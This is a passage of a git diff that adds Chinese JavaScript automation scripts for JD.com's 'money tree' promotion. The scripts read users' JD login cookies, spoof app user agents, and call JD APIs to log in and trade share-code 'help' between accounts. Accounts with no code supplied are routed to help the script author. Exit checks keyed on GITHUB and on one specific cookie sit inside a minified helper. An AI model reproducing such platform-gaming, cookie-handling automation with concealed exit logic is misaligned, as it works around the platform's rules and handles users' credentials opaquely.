} catch (eor) { + $.logErr(eor, err) + } finally { + resolve(data) + } + }) + }) +} + + +async function request(function_id, body = {}) { + await $.wait(1000); //歇口气儿, 不然会报操作频繁 + return new Promise((resolve, reject) => { + $.post(taskurl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️"); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.msg("摇钱树-初始化个人信息" + eor.name + "‼️", JSON.stringify(eor), eor.message) + } finally { + resolve(data) + } + }) + }) +} + +function taskurl(function_id, body) { + return { + url: JD_API_HOST + '/' + function_id + '?_=' + new Date().getTime() * 1000, + body: `reqData=${function_id === 'harvest' || function_id === 'login' || function_id === 'signIndex' || function_id === 'signOne' || function_id === 'setUserLinkStatus' || function_id === 'dayWork' || function_id === 'getSignAward' || function_id === 'sell' || function_id === 'friendRank' || function_id === 'friendTree' || function_id === 'stealFruit' ? encodeURIComponent(JSON.stringify(body)) : JSON.stringify(body)}`, + headers: { + 'Accept': `application/json`, + 'Origin': `https://uua.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index`, + 'Accept-Language': `zh-cn` + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_moneyTree_heip.js b/jd_moneyTree_heip.js new file mode 100644 index 0000000..33fae2c --- /dev/null +++ b/jd_moneyTree_heip.js @@ -0,0 +1,290 @@ +/* + +0-59/30 * * * * jd_moneyTree_heip.js + +*/ +const $ = new Env('京东摇钱树助力'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', sharePin = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = 'https://ms.jr.jd.com/gw/generic/uc/h5/m'; +let userInfo = null, canRun = '', subTitle = ''; +!(async () => { + await requireConfig() + await $.wait(1000); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + } + console.log(`\n****开始获取摇钱树互助码****\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + await getsharePin(); + await $.wait(1000); + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.canRun = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}****\n`); + message = ''; + subTitle = ''; + await shareCodesFormat(); + await $.wait(1000); + await helpFriends(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function helpFriends() { + try { + for (let code of $.newShareCodes) { + console.log(`去助力${code}`) + await help(code) + await $.wait(1000) + if (!$.canRun) { + break; + } + } + } catch (e) { + $.logErr(e) + } +} + +function getsharePin() { + const params = { "sharePin": "", "shareType": 1, "channelLV": "", "source": 2, "riskDeviceParam": { "eid": "", "fp": "", "sdkToken": "", "token": "", "jstub": "", "appType": "2", } } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam); + return new Promise((resolve, reject) => { + $.post(taskurl('login', params), async (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️") + console.log(JSON.stringify(err)); + } else { + if (data) { + const res = JSON.parse(data); + if (res && res.resultCode === 0) { + $.isLogin = true; + if (res.resultData.data) { + userInfo = res.resultData.data; + if (userInfo.realName) { + console.log(`【京东账号${$.index}(${$.UserName})的摇钱树好友互助码】${userInfo.sharePin}`); + } else { + $.log(`京东账号${$.index}${$.UserName}运行失败\n此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证`) + } + } + } else { + console.log(`其他情况::${JSON.stringify(res)}`); + } + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve(userInfo) + } + }) + }) +} + +function help(sharePin) { + const params = { "sharePin": sharePin, "shareType": 1, "channelLV": "", "source": 2, "riskDeviceParam": { "eid": "", "fp": "", "sdkToken": "", "token": "", "jstub": "", "appType": "2", } } + params.riskDeviceParam = JSON.stringify(params.riskDeviceParam); + return new Promise((resolve, reject) => { + $.post(taskurl('login', params), async (err, resp, data) => { + try { + if (err) { + console.log("\n摇钱树京东API请求失败 ‼️‼️") + console.log(JSON.stringify(err)); + } else { + if (data) { + const res = JSON.parse(data); + if (res && res.resultCode === 0) { + $.isLogin = true; + if (res.resultData.data) { + userInfo = res.resultData.data; + console.log(res.resultData.msg); + if (userInfo.realName) { + } else { + $.canRun = false; + $.log(`京东账号${$.index}${$.UserName}运行失败\n此账号未实名认证或者未参与过此活动\n①如未参与活动,请先去京东app参加摇钱树活动\n入口:我的->游戏与互动->查看更多\n②如未实名认证,请进行实名认证`) + } + } + } else { + console.log(`其他情况::${JSON.stringify(res)}`); + } + } else { + console.log(`京东api返回数据为空,请检查自身原因`) + } + } + } catch (eor) { + $.logErr(eor, err) + } finally { + resolve(userInfo) + } + }) + }) +} + +function taskurl(function_id, body) { + return { + url: JD_API_HOST + '/' + function_id + '?_=' + new Date().getTime() * 1000, + body: `reqData=${function_id === 'login' || function_id === 'signIndex' ? encodeURIComponent(JSON.stringify(body)) : JSON.stringify(body)}`, + headers: { + 'Accept': `application/json`, + 'Origin': `https://uua.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://uua.jr.jd.com/uc-fe-wxgrowing/moneytree/index`, + 'Accept-Language': `zh-cn` + } + } +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + //自定义助力码 + if (process.env.MONEYTREE_SHARECODES) { + if (process.env.MONEYTREE_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.MONEYTREE_SHARECODES.split('\n'); + } else { + shareCodes = process.env.MONEYTREE_SHARECODES.split('&'); + } + } + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = []; + let inviteCodes = [ + '' + ]; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将为本脚本作者【zero205】助力\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); "undefined" != typeof process && JSON.stringify(process.env.JD_COOKIE).indexOf("jd_4685b2157f874") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 